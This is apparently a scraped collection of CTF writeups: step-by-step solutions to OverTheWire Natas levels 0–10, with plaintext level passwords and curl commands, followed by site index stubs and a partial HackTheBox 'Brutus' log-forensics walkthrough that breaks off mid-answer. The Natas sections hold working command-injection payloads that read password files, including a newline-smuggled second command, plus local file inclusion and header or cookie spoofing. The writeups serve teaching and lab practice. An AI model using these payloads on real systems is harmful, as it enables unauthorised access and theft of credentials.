`, there is an HTML comment that is never rendered by the browser:
```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
```
## With curl
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
curl -s -u natas0:natas0 \
http://natas0.natas.labs.overthewire.org/ \
| grep -i password
```
## Password
```
natas1: 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq
```
# Natas 1
Source: https://writeups.dudji.com/challenges/overthewire/natas/natas1
Natas Level 1 — right-click is blocked via JavaScript, but keyboard shortcuts bypass it entirely.
## Overview
| Field | Value |
| -------- | ------------------------------------------ |
| URL | `http://natas1.natas.labs.overthewire.org` |
| Username | `natas1` |
| Password | `0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq` |
The page says: *"You can find the password for the next level on this page, but rightclicking has been blocked!"*
The source contains this handler:
```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
```
The password is still in the source — same as Level 0. The only obstacle is accessing that source without right-clicking.
***
## Hints
Only the right-click context menu is blocked — and only by JavaScript running inside the browser. JavaScript can block the context menu event, but it cannot block your browser's own built-in features. What other methods does your browser offer to view source?
Most browsers have a keyboard shortcut to view the page source that has nothing to do with right-clicking. Try `Ctrl+U`. You can also use the browser address bar directly by typing `view-source:` before the URL.
***
## Solution
Press `Ctrl+U` to open the page source directly — the JavaScript block on right-click doesn't affect this shortcut. Alternatively, type `view-source:http://natas1.natas.labs.overthewire.org` in the address bar.
The password sits in the same HTML comment pattern as Level 0:
```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
```
Client-side restrictions (JavaScript handlers, CSS tricks) are never a real security boundary. They only affect users who run your JavaScript. Any HTTP client, curl, or browser shortcut bypasses them entirely.
## With curl
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
curl -s -u natas1:0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq \
http://natas1.natas.labs.overthewire.org/ \
| grep -i password
```
## Password
```
natas2: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI
```
# Natas 10
Source: https://writeups.dudji.com/challenges/overthewire/natas/natas10
Natas Level 10 — command injection character blacklist bypassed with a URL-encoded newline.
## Overview
| Field | Value |
| -------- | ------------------------------------------- |
| URL | `http://natas10.natas.labs.overthewire.org` |
| Username | `natas10` |
| Password | `t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu` |
Same word-search page as Level 9, but with a filter added. The *"View sourcecode"* link shows what's changed.
***
## Hints
The source adds a `preg_match` check:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
if(preg_match('/[;|&]/', $key)) {
print "Input contains an illegal character!";
}
```
The characters `;`, `|`, and `&` are blocked. These were used in the Level 9 solution. Are they the *only* characters that act as command separators in bash?
In bash, a **newline** character acts as a command terminator — exactly like `;`. The newline character (`\n`) URL-encoded is `%0a`. The filter above doesn't check for it. Try injecting `%0a` between your `grep` arguments and a `cat` command.
***
## Solution
The filter catches `;`, `|`, and `&` in the submitted value. The Level 9 payload (`&& cat ...`) would be caught.
A URL-encoded newline (`%0a`) is not in the blocklist. Send the payload via the URL directly:
```
http://natas10.natas.labs.overthewire.org/?needle=key+dictionary.txt+%0a+cat+/etc/natas_webpass/natas11&submit=Search
```
The shell receives:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -i key dictionary.txt
cat /etc/natas_webpass/natas11
```
The page renders the `grep` results followed by the contents of the password file.
Character blacklists are inherently fragile. Newlines, null bytes, and other metacharacters are easy to overlook. The correct fix is to use `escapeshellarg()` — which safely quotes the entire argument — or to avoid shell execution entirely. Allowlists (only permit alphanumerics) are more robust than blocklists.
## With curl
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# $'...' is a bash ANSI-C quoted string — it interprets \n as a real newline
# --data-urlencode then percent-encodes it as %0a before sending
curl -s -u natas10:t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu -G \
--data-urlencode $'needle=key dictionary.txt\ncat /etc/natas_webpass/natas11' \
--data-urlencode "submit=Search" \
http://natas10.natas.labs.overthewire.org/
```
## Password
```
natas11: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk
```
# Natas 2
Source: https://writeups.dudji.com/challenges/overthewire/natas/natas2
Natas Level 2 — a world-readable files directory exposes a credentials file.
## Overview
| Field | Value |
| -------- | ------------------------------------------ |
| URL | `http://natas2.natas.labs.overthewire.org` |
| Username | `natas2` |
| Password | `TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI` |
The page says: *"There is nothing on this page."*
There are no HTML comments this time. But "nothing on this page" doesn't mean the server has nothing to offer — it means the visible content is empty. Start by examining what resources the page is actually loading.
***
## Hints
View the page source. Even though the page appears blank, it still loads assets. Is anything referenced that lives in a subdirectory on the server?
The source loads `files/pixel.png`. The `/files/` directory exists on the server. Many web servers are configured to show a listing of all files in a directory when no `index.html` is present. Try navigating directly to `/files/` — you might see more than just `pixel.png`.
***
## Solution
View source. The page body contains:
```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
```
This reveals the existence of a `/files/` directory.
Navigate to `http://natas2.natas.labs.overthewire.org/files/`.
Apache directory listing is enabled, showing two files:
* `pixel.png` — a 1×1 placeholder image
* `users.txt` — a credentials file
Open `users.txt`:
```
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
eve:zo4mJWyNj2
mallory:9urtcpzBmH
```
## With curl
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Fetch the exposed credentials file directly
curl -s -u natas2:TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI \
http://natas2.natas.labs.overthewire.org/files/users.txt
```
## Password
```
natas3: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
```
# Natas 3
Source: https://writeups.dudji.com/challenges/overthewire/natas/natas3
Natas Level 3 — a disallowed path in robots.txt reveals a hidden directory.
## Overview
| Field | Value |
| -------- | ------------------------------------------ |
| URL | `http://natas3.natas.labs.overthewire.org` |
| Username | `natas3` |
| Password | `3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH` |
The page says: *"There is nothing on this page."* The source is also clean — no referenced files this time.
There is, however, a comment in the source:
```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
```
*"Not even Google"* is the key phrase here.
***
## Hints
Search engine crawlers discover pages by following links. Website owners can instruct crawlers to skip certain paths using a well-known standard file in the web root. What is that file called, and what does it contain?
Navigate to `/robots.txt`. The file uses `Disallow:` directives to tell crawlers which paths to avoid. These paths are hidden from search engines — but not from you. Whatever is listed there is worth visiting.
***
## Solution
Navigate to `http://natas3.natas.labs.overthewire.org/robots.txt`:
```
User-agent: *
Disallow: /s3cr3t/
```
Navigate to `http://natas3.natas.labs.overthewire.org/s3cr3t/`.
Directory listing is enabled, exposing `users.txt`.
Open `users.txt` to retrieve the password:
```
natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ
```
`robots.txt` is publicly readable by design — it's meant for crawlers, but any human can open it. Listing a sensitive path under `Disallow` only hides it from polite bots; it advertises it to anyone looking for hidden endpoints.
## With curl
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Read robots.txt to find the hidden path
curl -s -u natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH \
http://natas3.natas.labs.overthewire.org/robots.txt
# Read the disallowed directory's credentials file
curl -s -u natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH \
http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
```
## Password
```
natas4: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ
```
# Natas 4
Source: https://writeups.dudji.com/challenges/overthewire/natas/natas4
Natas Level 4 — access control enforced via the Referer header, trivially spoofed with a proxy.
## Overview
| Field | Value |
| -------- | ------------------------------------------ |
| URL | `http://natas4.natas.labs.overthewire.org` |
| Username | `natas4` |
| Password | `QryZXc2e0zahULdHrtHxzyYkj59kUxLQ` |
The page responds with:
> *Access disallowed. You are visiting from "[http://natas4.natas.labs.overthewire.org/index.php](http://natas4.natas.labs.overthewire.org/index.php)" while authorized users should come only from "[http://natas5.natas.labs.overthewire.org/](http://natas5.natas.labs.overthewire.org/)"*
The server is checking where your request originated. This is a clue — the check is being done on something your browser sends with every request.
***
## Hints
HTTP requests include headers beyond just the URL. One header is specifically designed to tell the server which page you were on when you made the request. Look at your request in a proxy like Burp Suite — which header contains the originating URL?
The `Referer` header is set by the browser to indicate the page that triggered the request. However, HTTP headers are just text in the request — any proxy or HTTP client lets you add or modify them freely. What value would make the server think you came from natas5?
***
## Solution
Open Burp Suite with the proxy enabled. Reload the natas4 page to capture the `GET /index.php` request.
In the intercepted request, add the following header:
```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Referer: http://natas5.natas.labs.overthewire.org/
```
Forward the modified request. The server accepts it and returns the password for natas5.
The `Referer` header is informational only — it is sent by the browser as a courtesy and can never be trusted for access control. An attacker with any HTTP client can send any value they want.
## With curl
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# -H sets a custom request header — used here to spoof the Referer
curl -s -u natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ \
-H "Referer: http://natas5.natas.labs.overthewire.org/" \
http://natas4.natas.labs.overthewire.org/ \
| grep -i password
```
## Password
```
natas5: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK
```
# Natas 5
Source: https://writeups.dudji.com/challenges/overthewire/natas/natas5
Natas Level 5 — session state stored in a plaintext client-side cookie, trivially forged.
## Overview
| Field | Value |
| -------- | ------------------------------------------ |
| URL | `http://natas5.natas.labs.overthewire.org` |
| Username | `natas5` |
| Password | `0n35PkggAPm2zbEpOU802c0x0Msn1ToK` |
The page says: *"Access disallowed. You are not logged in."*
No login form is present. The server already knows you're not logged in — which means it's reading that state from somewhere in your request. Think about how web applications persist state between requests.
***
## Hints
HTTP is stateless — every request starts fresh. Web applications use cookies to persist state across requests. Open your browser's DevTools (F12 → Application → Cookies) or intercept the request in Burp. Is there a cookie that relates to being logged in?
You should see a cookie called `loggedin` with a value of `0`. This boolean flag is stored entirely on the client side with no server-side verification. Modify it to `1` and resend the request — either through Burp Suite or your browser's DevTools cookie editor.
***
## Solution
Intercept the request in Burp Suite (or open DevTools → Application → Cookies). You will see:
```
Cookie: loggedin=0
```
Change the value to:
```
Cookie: loggedin=1
```
Forward the modified request. The server trusts the cookie value and grants access, returning the password.
Authorization state must never be stored in an unprotected client-side cookie. A client can set any cookie value they want. Proper session management uses a server-side session store keyed by an unpredictable session token — the server holds the truth about who is logged in, not the client.
## With curl
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# --cookie sets a cookie in the request — no browser needed
curl -s -u natas5:0n35PkggAPm2zbEpOU802c0x0Msn1ToK \
--cookie "loggedin=1" \
http://natas5.natas.labs.overthewire.org/ \
| grep -i password
```
## Password
```
natas6: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned
```
# Natas 6
Source: https://writeups.dudji.com/challenges/overthewire/natas/natas6
Natas Level 6 — a PHP include file is placed inside the web root and accessible directly via HTTP.
## Overview
| Field | Value |
| -------- | ------------------------------------------ |
| URL | `http://natas6.natas.labs.overthewire.org` |
| Username | `natas6` |
| Password | `0RoJwHdSKWFTYR5WuiAewauSuNaBXned` |
The page shows an *"Input secret"* form. Submit the wrong value and it prints *"Wrong secret."* There is a *"View sourcecode"* link — always read the source code when it's offered.
***
## Hints
Read the PHP source via the *"View sourcecode"* link. The script doesn't define `$secret` inline — it loads it from somewhere else using a PHP `include`. What file is being included, and what path is it at?
The included file lives at `includes/secret.inc` — a path relative to the web root. PHP processes `.php` files on the server, but `.inc` files may be served as plain text if the server isn't configured to handle them. Try navigating directly to that URL in your browser.
***
## Solution
Click *"View sourcecode"*. The relevant part:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is ";
} else {
print "Wrong secret";
}
}
```
The secret is loaded from `includes/secret.inc`.
Navigate to:
```
http://natas6.natas.labs.overthewire.org/includes/secret.inc
```
The server returns it as plain text:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
```
Enter `FOEIUWGHFEEUHOFUOIU` in the form and submit.
Include and config files must never be placed inside the web root. Store them above the document root, or configure the web server to deny access to `.inc` files. If PHP can include it, a browser can fetch it.
## With curl
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Step 1: retrieve the secret from the exposed include file
curl -s -u natas6:0RoJwHdSKWFTYR5WuiAewauSuNaBXned \
http://natas6.natas.labs.overthewire.org/includes/secret.inc
# Step 2: POST the secret to the form
curl -s -u natas6:0RoJwHdSKWFTYR5WuiAewauSuNaBXned \
-X POST -d "secret=FOEIUWGHFEEUHOFUOIU&submit=1" \
http://natas6.natas.labs.overthewire.org/ \
| grep -i password
```
## Password
```
natas7: bmg8SvU1LizuWjx3y7xkNERkHxGre0GS
```
# Natas 7
Source: https://writeups.dudji.com/challenges/overthewire/natas/natas7
Natas Level 7 — Local File Inclusion via an unsanitized page parameter passed directly to PHP include.
## Overview
| Field | Value |
| -------- | ------------------------------------------ |
| URL | `http://natas7.natas.labs.overthewire.org` |
| Username | `natas7` |
| Password | `bmg8SvU1LizuWjx3y7xkNERkHxGre0GS` |
The page has two navigation links:
```
index.php?page=home
index.php?page=about
```
The `page` parameter controls what content is loaded. The page source contains a hint:
```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
```
***
## Hints
The `?page=` parameter changes what content is rendered. In PHP, this is commonly done by passing the parameter to an `include()` or `require()` call — the value becomes part of the file path. What happens if the value you pass isn't a page name, but an absolute path to a file on the server?
The HTML comment tells you exactly where the password file lives: `/etc/natas_webpass/natas8`. If the `include()` call doesn't restrict input to relative paths, you can supply that absolute path directly as the `page` parameter.
***
## Solution
The `?page=` value is passed directly into a PHP `include()` without validation. This is a Local File Inclusion (LFI) vulnerability — any readable file on the server's filesystem can be included.
Navigate to:
```
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
```
PHP includes `/etc/natas_webpass/natas8` and renders its contents inline in the page.
Never pass user input directly to `include()`, `require()`, `file_get_contents()`, or any function that opens a file path. Validate against a strict allowlist of permitted page names and never allow absolute paths or traversal sequences (`../`).
## With curl
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Pass the absolute path as the page parameter — the server includes and returns the file
curl -s -u natas7:bmg8SvU1LizuWjx3y7xkNERkHxGre0GS \
"http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8"
```
## Password
```
natas8: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q
```
# Natas 8
Source: https://writeups.dudji.com/challenges/overthewire/natas/natas8
Natas Level 8 — reversing a multi-step encoding chain to recover the secret.
## Overview
| Field | Value |
| -------- | ------------------------------------------ |
| URL | `http://natas8.natas.labs.overthewire.org` |
| Username | `natas8` |
| Password | `xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q` |
Another *"Input secret"* form. The *"View sourcecode"* link reveals the PHP — including the encoded secret and the function used to encode it.
***
## Hints
The source shows `$encodedSecret` (the target value) and the `encodeSecret()` function that transforms input before comparison. Read the function carefully — what three operations does it apply, and in what order?
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
```
The encoding order is: `base64_encode` → `strrev` → `bin2hex`. To recover the original secret, apply the inverse operations in reverse order:
1. Hex decode the stored value
2. Reverse the resulting string
3. Base64 decode
A tool like [CyberChef](https://gchq.github.io/CyberChef/) lets you chain these operations visually.
***
## Solution
```
3d3d516343746d4d6d6c315669563362
```
Decode the hex string:
```
==QcCtmMml1ViV3b
```
The `==` at the start is a giveaway that this is a reversed Base64 string (padding normally appears at the end).
Reverse `==QcCtmMml1ViV3b`:
```
b3ViV1lmMmtCcQ==
```
Decode `b3ViV1lmMmtCcQ==`:
```
oubWYf2kBq
```
This is the secret.
Enter `oubWYf2kBq` in the form and submit.
## With curl
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# POST the decoded secret directly to the form
curl -s -u natas8:xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q \
-X POST -d "secret=oubWYf2kBq&submit=1" \
http://natas8.natas.labs.overthewire.org/ \
| grep -i password
```
## Password
```
natas9: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t
```
# Natas 9
Source: https://writeups.dudji.com/challenges/overthewire/natas/natas9
Natas Level 9 — command injection via unsanitized user input passed directly to a shell command.
## Overview
| Field | Value |
| -------- | ------------------------------------------ |
| URL | `http://natas9.natas.labs.overthewire.org` |
| Username | `natas9` |
| Password | `ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t` |
The page is a word-search form that finds words in a dictionary. Click *"View sourcecode"* to understand what happens when you submit a search.
***
## Hints
Read the source. Your search term (`$key`) is inserted directly into a `passthru()` call:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
passthru("grep -i $key dictionary.txt");
```
There is no sanitization. What does this mean for the characters you can send?
In bash, `&&` runs a second command only if the first succeeds, and `;` runs a second command unconditionally. If you inject `&&` followed by another command into `$key`, the shell will execute both. Think about what command would let you read `/etc/natas_webpass/natas10`.
***
## Solution
The command the server runs is:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -i dictionary.txt
```
Your input is placed directly into the command string with no escaping.
Inject a second command after a valid `grep` argument:
```
key dictionary.txt && cat /etc/natas_webpass/natas10
```
The resulting shell command becomes:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -i key dictionary.txt && cat /etc/natas_webpass/natas10
```
Enter the payload in the search box and click Search. The output shows `grep` results first, followed by the contents of the password file.
Never pass user input to `passthru()`, `exec()`, `system()`, or `shell_exec()`. Use `escapeshellarg()` to safely quote individual arguments, or avoid shelling out entirely and use native PHP functions instead.
## With curl
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# -G sends the data as a GET query string
# --data-urlencode handles special characters in the payload safely
curl -s -u natas9:ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t -G \
--data-urlencode "needle=key dictionary.txt && cat /etc/natas_webpass/natas10" \
--data-urlencode "submit=Search" \
http://natas9.natas.labs.overthewire.org/
```
## Password
```
natas10: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu
```
# CTFs
Source: https://writeups.dudji.com/ctfs/index
Full CTF event writeups and solutions.
CTF writeups are coming soon.
# Writeups
Source: https://writeups.dudji.com/index
A collection of detailed writeups for CTF machines, security challenges, and CTF competitions.
# HTB - Seasonal
Source: https://writeups.dudji.com/machines/hackthebox/index
HackTheBox Seasonal machine writeups, organized by season.
HackTheBox Season 10 machine writeups.
# Season 10
Source: https://writeups.dudji.com/machines/hackthebox/season-10/index
HackTheBox Season 10 machine writeups.
HTB Season 10 — Interpreter machine walkthrough.
# Interpreter
Source: https://writeups.dudji.com/machines/hackthebox/season-10/interpreter
HTB Seasonal - Season 10: Interpreter machine walkthrough.
Recon and service enumeration.
Gaining initial access.
Moving through the network.
Escalating to root.
# Enumeration
Source: https://writeups.dudji.com/machines/hackthebox/season-10/interpreter/enumeration
Interpreter — Enumeration phase.
# Foothold
Source: https://writeups.dudji.com/machines/hackthebox/season-10/interpreter/foothold
Interpreter — Foothold phase.
# Lateral Movement
Source: https://writeups.dudji.com/machines/hackthebox/season-10/interpreter/lateral-movement
Interpreter — Lateral Movement phase.
# Privilege Escalation
Source: https://writeups.dudji.com/machines/hackthebox/season-10/interpreter/privilege-escalation
Interpreter — Privilege Escalation phase.
# Machines
Source: https://writeups.dudji.com/machines/index
Walkthroughs for HTB, THM, and other CTF machines.
HackTheBox machine writeups, organized by season.
# Cloud
Source: https://writeups.dudji.com/sherlocks/cloud/index
Cloud forensics Sherlock writeups.
Cloud writeups are coming soon.
# Brutus
Source: https://writeups.dudji.com/sherlocks/dfir/brutus
# Brutus - HTB Sherlock Writeup (DFIR / Log Analysis)
![Brutus Banner]()
## Challenge Description
> A Confluence server was brute-forced via its SSH service. After gaining access, the attacker
> performed additional activities including privilege escalation, persistence (creating a new user),
> and downloading tools.
**Difficulty:** Very Easy\
**Category:** DFIR / Log Analysis\
**Evidence Files:** `auth.log`, `wtmp`
***
## Initial Analysis Methodology
Before diving into the challenge questions, the goal is to understand what happened using only the
evidence. This section walks through a repeatable approach you can apply to any unknown log set -
the same steps, in the same order, every time.
We have two artifacts from a Linux server. We don't know yet who attacked it, how they got in, or
what they did after. The methodology below will answer all three.
***
### Step 1 - Understand the Artifacts: What are we working with?
Before running any commands, it helps to know what each file actually is.
**auth.log** is a structured plaintext log. Every line follows this format:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
[]:
```
Example:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Mar 10 10:23:45 exampleserver sshd[19360]: Failed password for invalid user admin from 192.168.1.101 port 22 ssh2
```
Key services you'll encounter: `sshd`, `sudo`, `useradd`, `usermod`, `groupadd`, `passwd`, `chfn`,
`systemd-logind`, `CRON`.
**wtmp** is a binary file. You cannot `cat` it. Use these tools:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Basic login history
TZ=UTC last -f wtmp
# Full timestamps including logout time
TZ=UTC last -dF -f wtmp
# Alternative: raw dump
utmpdump wtmp
# Another option
TZ=UTC who -a wtmp
```
**Important timezone note:** wtmp timestamps are displayed using your local system timezone, not the
timezone of the source system. Always prefix commands with `TZ=UTC` when doing forensic analysis to
keep your timeline consistent across artifacts.
> **Note:** If `last -f wtmp` gives a SQLite error on newer Kali versions, this is because newer
> systemd versions use a database format. The file you're analyzing is the older binary format. Use
> `utmpdump` or `who -a` as alternatives.
***
### Step 2 - Survey the Log: What services are recorded?
Before looking for anything specific, get a picture of what types of events are present. This
prevents tunnel vision and surfaces activity you might not have expected.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
awk '{print $5}' auth.log | sed 's/[\[\:].*//g' | sort | uniq -c | sort -n
```
**How this works:** `awk '{print $5}'` extracts the service name and PID field (e.g.,
`sshd[1234]:`), then `sed` strips the brackets and PID leaving just the service name, and
`sort | uniq -c | sort -n` counts occurrences sorted numerically.
You'll see services like `sshd`, `sudo`, `CRON`, `useradd`, `usermod`, `groupadd`, `passwd`,
`chfn`, `systemd-logind`. The presence of `useradd` and `usermod` immediately tells you that user
account manipulation happened during this time window, worth investigating once we understand the
entry point.
***
### Step 3 - Check Login Sessions: Who logged in and from where?
With a picture of what services are present, the next step is to get a high-level view of login
sessions. wtmp gives this to us instantly:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
TZ=UTC last -f wtmp
```
This shows login sessions, source IPs, and session durations, giving you a high-level picture before reading
individual log lines. Look for sessions from unexpected IPs, sessions that lasted an unusually short
time (automated tooling), or sessions that lasted an unusually long time (interactive attacker
activity).
***
### Step 4 - Identify the Attack: Look for brute-force patterns
Now look at authentication events in auth.log. The key signal for a brute-force is a high volume
of failed authentication attempts from a single IP in a short time window.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -oP ' \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' auth.log | sort | uniq -c | sort -n
```
One IP will stand out immediately with an order-of-magnitude more attempts than any other. A useful
rule of thumb: *"Could a human attempt to authenticate this often manually?"* If the answer is
no, it's automated tooling.
To read the actual failed attempts:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep sshd auth.log | grep -v pam_unix | less
```
***
### Step 5 - Trace Post-Exploitation: What did the attacker do after getting in?
Once you have identified the attacker's IP and the compromised account, trace the events that
follow. In auth.log, `sudo`, `useradd`, `usermod`, and `passwd` entries after a successful login
from the attacker's IP are all post-exploitation activity.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "Accepted" auth.log | grep ""
grep "useradd\|usermod\|sudo" auth.log
```
Cross-reference timestamps from auth.log with wtmp sessions to confirm which session each action
belongs to.
***
### Methodology Summary
Every time you approach an unknown log set, follow this sequence:
1. **Understand the artifacts**: know what each file is, its format, and its limitations before
running any commands
2. **Survey the log**: identify which services appear to get a complete picture of recorded
activity before focusing on anything specific
3. **Check login sessions**: use wtmp for a high-level view of who logged in, from where, and for
how long
4. **Identify the attack**: look for statistical anomalies like IP addresses with disproportionate
failed login counts
5. **Trace post-exploitation**: follow the attacker's session chronologically through
`useradd`, `sudo`, `usermod`, and other privilege or persistence events
6. **Cross-reference timestamps**: align auth.log and wtmp events to build a unified timeline and
confirm which actions belong to which session
***
## Attack Timeline
| Time (UTC) | Event | Source |
| ---------- | ------------------------------------------------------------- | -------- |
| `06:31:31` | Brute force begins from `65.2.161.68` | auth.log |
| `06:31:40` | First successful root login (automated, immediate disconnect) | auth.log |
| `06:32:44` | Second successful root login (manual, session persists) | auth.log |
| `06:32:45` | Interactive terminal session established | wtmp |
| `06:34:18` | New user `cyberjunkie` created (UID 1002) | auth.log |
| `06:34:26` | Password set for `cyberjunkie` | auth.log |
| `06:35:15` | `cyberjunkie` added to sudo group | auth.log |
| `06:37:24` | Root session 37 closed | auth.log |
| `06:37:34` | `cyberjunkie` logs in | auth.log |
| `06:37:57` | `cyberjunkie` runs `sudo cat /etc/shadow` | auth.log |
| `06:39:38` | `cyberjunkie` downloads `linper.sh` via sudo curl | auth.log |
***
## Questions and Answers
### Q1: What is the IP address used by the attacker to carry out a brute force attack?
**Artifacts:** `auth.log`\
**Method:** Look for repeated "Failed password" and "Invalid user" entries from a single IP in rapid
succession.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -oP ' \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' auth.log | sort | uniq -c | sort -n
```
The IP with 165 connection attempts in rapid succession (all within seconds of each other) stands
out immediately. You can also filter sshd lines and exclude noise:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep sshd auth.log | grep -v pam_unix | less
```
> **Answer:** `65.2.161.68`
***
### Q2: The brute force was successful. What is the username of the compromised account?
**Artifacts:** `auth.log`\
**Method:** Search for successful logins from the attacker's IP.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "Accepted" auth.log | grep "65.2.161.68"
```
The first "Accepted password" from this IP is for the `root` account. Notice that the session
closes in the same second; this is the brute-force tool confirming the credentials, not a manual
login. When you see an accepted password followed by an immediate disconnect, that's a strong
indicator of automated tooling (e.g., Hydra, Medusa).
> **Answer:** `root`
***
### Q3: Identify the UTC timestamp when the attacker manually logged in (from wtmp).
**Artifacts:** `wtmp`\
**Method:** The question specifically asks for the wtmp timestamp, not auth.log. There is an
important distinction:
* **auth.log** records when the password was *accepted* (authentication event)
* **wtmp** records when the interactive *terminal session* was created (login event)
These can differ by a second or more. The attacker authenticated at `06:32:44` in auth.log, but the
terminal session was established at `06:32:45` in wtmp.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
TZ=UTC last -f wtmp
```
The second login from `65.2.161.68` (where the session lasts several minutes, unlike the instant
brute-force disconnect) is the manual login.
> **Answer:** `2024-03-06 06:32:45`
***
### Q4: What is the attacker's SSH session number?
**Artifacts:** `auth.log`\
**Method:** Session numbers are assigned by `systemd-logind`. Look at the log line immediately after
the session is opened.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "systemd-logind" auth.log
```
Find the "New session" entry that corresponds to the attacker's manual login time (`06:32:44/45`):
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Mar 6 06:32:44 ... systemd-logind[411]: New session 37 of user root.
```
> **Answer:** `37`
***
### Q5: What new user account did the attacker create for persistence?
**Artifacts:** `auth.log`\
**Method:** Search for user creation events.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "useradd" auth.log
```
This shows a new user `cyberjunkie` was created. Then check for privilege escalation:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "usermod" auth.log
```
The attacker added `cyberjunkie` to the `sudo` group, granting full administrative privileges. This
is a classic persistence technique: create a new account with elevated privileges so you can return
later without needing to brute-force again.
> **Answer:** `cyberjunkie`
***
### Q6: What is the MITRE ATT\&CK sub-technique ID for persistence via new account creation?
**Artifacts:** N/A (MITRE ATT\&CK reference)
The MITRE ATT\&CK framework categorizes this under:
* **Tactic:** Persistence
* **Technique:** Create Account (T1136)
* **Sub-technique:** Local Account (T1136.001)
Other sub-techniques include Domain Account (.002) and Cloud Account (.003), but since this was a
local Linux account, it's `.001`.
> **Answer:** `T1136.001`
***
### Q7: What time did the attacker's first SSH session end?
**Artifacts:** `auth.log`\
**Method:** Look for when session 37 was closed.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "session 37" auth.log
```
Find the "Session 37 logged out" or "Removed session 37" entry:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Mar 6 06:37:24 ... systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar 6 06:37:24 ... systemd-logind[411]: Removed session 37.
```
> **Answer:** `2024-03-06 06:37:24`
***
### Q8: What full command did the attacker execute using sudo from their backdoor account?
**Artifacts:** `auth.log`\
**Method:** Although auth.log doesn't normally track commands, `sudo` commands are logged because
they require privilege elevation.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "sudo:" auth.log | grep "cyberjunkie"
```
Two sudo commands are visible. First, `cat /etc/shadow` to dump password hashes.
Second, a `curl` download of a persistence toolkit. The full command:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
